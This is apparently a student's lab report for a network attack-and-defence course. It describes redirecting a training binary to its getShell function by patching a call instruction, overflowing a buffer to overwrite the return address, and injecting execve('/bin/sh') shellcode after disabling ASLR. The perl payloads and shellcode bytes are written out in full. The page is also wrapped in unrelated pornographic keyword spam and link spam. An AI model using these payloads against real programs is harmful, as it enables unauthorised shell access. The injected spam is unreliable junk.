<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      20232306劉博2025-2026-1《網絡與系統攻防技術》實驗一實驗報告

      1.實驗內容
      通過修改可執行文件,改變程序執行流程,跳轉到getShell函數。 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。 注入一個自己制作的shellcode并運行這段shellcode。 2.實驗過程
      (一)直接修改程序機器指令,改變程序執行流程
      登陸root,修改主機名為自己的學號。
      圖片 1
      將可執行文件pwn1傳輸到虛擬機中并運行該文件。

      圖片 2

      圖片 3
      輸入objdump -d pwn1 | more找到getshell、foo、main函數
      圖片 4
      此時可以看到main函數調用foo,對應機器指令為“ e8 d7ffffff“,我們需要修改可執行文件,將其中的call指令的目標地址由d7變為c3,使main函數調用getshell。
      圖片 5
      輸入指令cp pwn1 pwn2復制一個文件并輸入vi pwn2進入到文件中。 輸入%!xxd切換顯示模式為16進制。 輸入/e8 d7找到要修改的內容,將d7改為c3。
      輸入objdump -d pwn2| more查看修改結果并進行測試
      圖片 6

      圖片 7
      如圖可知修改成功并且getshell成功運行。
      (二)通過構造輸入參數,造成BOF攻擊,改變程序執行流
      對pwn1進行反編譯
      圖片 8
      可以通過-0x1c看到存在28字節的緩沖區,call調用foo,返回地址為80484ba,我們需要覆蓋返回地址并替換為getshell的地址。
      圖片 9
      使用gdb pwn1調試程序,輸入1111111122222222333333334444444455555555。 輸入info r確認輸入字符串哪幾個字符會覆蓋到返回地址。
      圖片 10
      可以看到1234 那四個數最終會覆蓋到堆棧上的返回地址,因此只要把這四個字符替換為 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。 
      圖片 11

      圖片 12
      通過反編譯可以看到getshell的返回地址為0804847d。 通過perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括這樣字符串的一個文件。 輸入xxd input查看input文件的內容是否如預期。 通過(cat input; cat) | ./pwn1將input的輸入,通過管道符“|”,作為pwn1的輸入。
      圖片 13
      (三)注入Shellcode并執行
      圖片 14
      execstack -s pwn1設置堆棧可執行 execstack -q pwn1查詢文件的堆棧是否可執行 echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化 more /proc/sys/kernel/randomize_va_space驗證地址隨機化是否關閉     
      輸入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 輸入(cat input_shellcode;cat) | ./pwn1將input_shellcode的輸入內容作為pwn1的輸入 打開新終端,輸入ps -ef | grep pwn1查看進程
      圖片 15

      圖片 16
      可以知道pwn1的進程是110585。
      啟用gdb調試程序,輸入disassemble foo反編譯foo函數并進行分析。 輸入break *0x080484ae設置斷點。 在另一個終端輸入命令c并在次終端按一下回車。 輸入info r esp查看棧頂指針所在位置,當前ESP值為0xffffcfbc。
      圖片 1
      使用\xf0\xcf\xff\xff替換原占位符 \x01\x02\x03\x04,構造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode 輸入(cat input_shellcode; cat) | ./pwn1,執行ls命令  
      圖片 2
      3.問題及解決方案
      問題一:下載不了execstack 解決方案:
      反正目的是查詢棧堆,在實在無法下載的情況下,我選擇直接查詢
      圖片 3
      問題二:在進行啟用gdb調試程序,輸入disassemble foo反編譯foo函數并進行分析時,總是找不到01020304最后發現是在兩個終端輸入回車和c的順序出現錯誤。
      4.學習感悟
      本次的實驗對我來說有一定的難度,雖然實驗指導書較為詳細,但是在環境配置方面有很多可能只有少數人存在的問題被我遇見,所以我廣泛查詢博客園和AI,最終成功完成實驗。

      posted @ 2025-10-11 19:17  劉博lb  閱讀(17)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 国产成人无码一区二区三区在线 | 日韩精品一区二区三区激情| 韩国免费A级毛片久久| 古丈县| 无码日韩精品一区二区三区免费| 亚洲色www成人永久网址| 伊人久久大香线蕉av一区二区| 国产欧美久久一区二区| 在线精品国精品国产尤物| 99re热这里只有精品视频| 亚洲精品久久麻豆蜜桃| 蜜臀av日韩精品一区二区| 欧美成年性h版影视中文字幕| 日韩少妇人妻vs中文字幕| 亚洲国产一区二区三区四| 深夜av免费在线观看| 疯狂做受xxxx高潮欧美日本| 亚洲av中文一区二区| 国产亚洲国产精品二区| 国产电影一区二区三区| 蜜桃亚洲一区二区三区四| 亚洲国产精品久久无人区| 猫咪AV成人永久网站在线观看| 免费无码又爽又刺激高潮虎虎视频| 国产精品v欧美精品∨日韩| 天堂久久久久VA久久久久| 绵阳市| 亚洲国产精品日韩专区av| 精品国产成人国产在线观看| 久久久亚洲欧洲日产国码二区| 国产老肥熟一区二区三区| 日本一道一区二区视频| 色综合久久中文综合网| 四虎永久在线高清免费看| 福利一区二区在线观看| 免费视频爱爱太爽了| 亚洲av激情一区二区三区| 中文字幕亚洲制服在线看| 久久午夜夜伦鲁鲁片免费无码| 亚洲国产精品男人的天堂| 午夜国产福利片在线观看|